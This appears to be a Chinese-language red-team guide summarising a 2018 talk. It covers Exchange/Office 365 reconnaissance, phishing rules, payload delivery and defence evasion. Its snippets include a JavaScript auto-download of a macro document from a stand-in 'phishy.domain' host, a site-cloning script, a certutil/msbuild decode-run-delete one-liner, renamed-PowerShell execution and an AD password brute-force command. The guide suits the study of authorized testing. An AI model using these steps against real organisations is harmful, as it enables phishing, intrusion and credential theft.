一次红队之旅
字数 2215 2025-08-29 08:32:18
红队渗透测试全面指南
1. 红队测试的意义与目标
红队测试是一种模拟真实攻击的安全评估方法,主要目标包括:
- 评估客户对威胁行为的反应能力:测试安全团队检测和响应攻击的能力
- 评估客户网络安全态势:通过模拟访问敏感数据(如CEO邮箱、客户数据)来验证防护措施
- 演示潜在攻击路径:展示攻击者可能利用的漏洞和入侵路径
2. 目标识别与信息收集
2.1 初始信息收集
- 社交媒体分析:通过Facebook等平台获取员工姓名信息
- 公开密码库搜索:检查Github、Pastebin等平台是否有泄露的凭证
- OWA/Office 365侦察:这些服务通常是高价值目标
2.2 OWA侦察技术
- GAL泄露检查:
https://your.target/owa/service.svc?action=GetPeopleFilters - 无MFA时的暴力破解:
https://your.target/EWS/Exchange.asmx - Office 365 API端点:
- 读写邮件:
https://outlook.office365.com/api/v1.0/ - 暴力破解:
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
- 读写邮件:
2.3 Shodan利用
通过Shodan搜索目标公共IP范围内的关键服务:
- Citrix门户
- OWA服务
- VPN端点
- 任何可远程认证的服务
2.4 邮件服务器指纹识别
发送邮件到不存在的账户,分析返回的错误信息以识别:
- 使用的安全软件
- 配置的安全策略
2.5 社交工程信息收集
- 通过LinkedIn等平台收集员工信息
- 分析企业网站寻找钓鱼主题灵感
3. 钓鱼攻击最佳实践
3.1 钓鱼攻击黄金法则
- 不要将恶意负载直接放入邮件
- 避免自动化安全解决方案检测
- 使用分类域名
- 强制使用HTTPS
- 选择无聊的钓鱼主题
- 避免使用拼写错误的域名
- 不要重复使用相同域名
3.2 高级钓鱼技术
-
动态URL生成:使用Apache mod_rewrite创建唯一ID的URL
RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php [L,QSA] -
JavaScript混淆技术:
<a id="download" href="#">下载行为准则</a> <script> document.getElementById("download").onclick = function() { document.location = "https://phish" + "y.domain/pay" + "load.docm"; }; document.getElementById("download").click(); </script> -
域名克隆工具:
#!/bin/bash echo "Cloning $1" wget $1 -O index.html &> /dev/null TAG="<base href=\"$1\"/></head>" sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/null echo "index.html was saved and modified" -
分类域名搜索工具:CatMyFish
4. 有效负载创建与规避
4.1 规避检测的核心原则
-
避免直接运行PowerShell:
- 使用PowerLessShell通过MsBuild.exe执行
- 示例:
certutil -decodehex vpmMLfdAbV dWCBVaaSqezNvPbCKpFyJiwG && copy msbuild.exe QrjZkfusnfnbvOoGuqq.exe && QrjZkfusnfnbvOoGuqq.exe dWCBVaaSqezNvPbCKpFyJiwG && del QrjZkfusnfnbvOoGuqq.exe && del dWCBVaaSqezNvPbCKpFyJiwG && del vpmMLfdAbV
-
宏攻击规避:
- 避免使用WScript.Shell和Shell()
- 使用WMI执行负载(MaliciousMacroGenerator)
-
二进制文件修改:
- 修改签名二进制文件的HASH(Windows-SignedBinary)
- 重命名二进制文件执行:
copy powershell.exe tLclgEomOrR.exe tLclgEomOrR.exe -exec bypass Get-Help
-
环境检测:
- 添加沙箱检测代码(如检查iexplore进程)
- ClickOnceGenerator
-
负载混淆工具:
4.2 沙箱检测技术
检测端点与沙箱的区别:
- 内存大小(端点≥4GB)
- 磁盘大小(端点≥250GB)
- CPU数量(端点≥2)
- 运行进程(如OUTLOOK.exe)
- 网络访问状态
- 域加入状态
- 时区设置
- 系统运行时间
- 系统活动(剪贴板内容等)
5. 命令与控制(C2)隐蔽技术
- 域前置技术(Domain Fronting)
- 使用分类域名
- 强制HTTPS连接
- 协议选择:HTTP混入合法流量
- 高级C2工具:ThunderShell
6. 内网横向移动与权限提升
6.1 初始信息收集
- 避免直接运行PowerShell
- 避免使用net*命令
- 避免连接所有系统
6.2 实用脚本
-
用户邮箱收集:
-
域密码暴力破解:
- Invoke-ADPasswordBruteForce
- 示例:
"neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password" -Domain MATRIX
-
用户SamAccountName查找:
-
用户登录事件搜索:
-
浏览器书签收集:
6.3 高级技巧
-
WMI远程执行:
-
Kerberos票据利用:
- 注意票据续约问题
- 进程注入选择(explorer.exe vs svchost.exe/conhost.exe)
-
Active Directory信息挖掘:
- 用户注释和描述字段可能包含敏感信息
- Dump-Username
6.4 PowerView实用命令
- Find-LocalAdminAccess:查找具有本地管理员权限的主机
- Get-NetDomainTrust:列出所有信任域
- Get-NetForestTrust:列出所有森林
- Invoke-ShareFinder:列出所有共享
- Get-NetLocalGroup:列出本地管理组/用户组
7. 总结与最佳实践
-
钓鱼攻击:
- 每次活动使用不同的策略
- 负载制作是一门需要精心策划的艺术
-
规避检测:
- 尽量避免直接运行PowerShell
- 使用非标准技术执行命令
-
隐蔽性:
- 根据情况调整工具和技术
- 平衡隐蔽性与任务需求
8. 参考资源
- A-Journey-Into-a-RedTeam-2018.pdf
- 文中提到的所有GitHub项目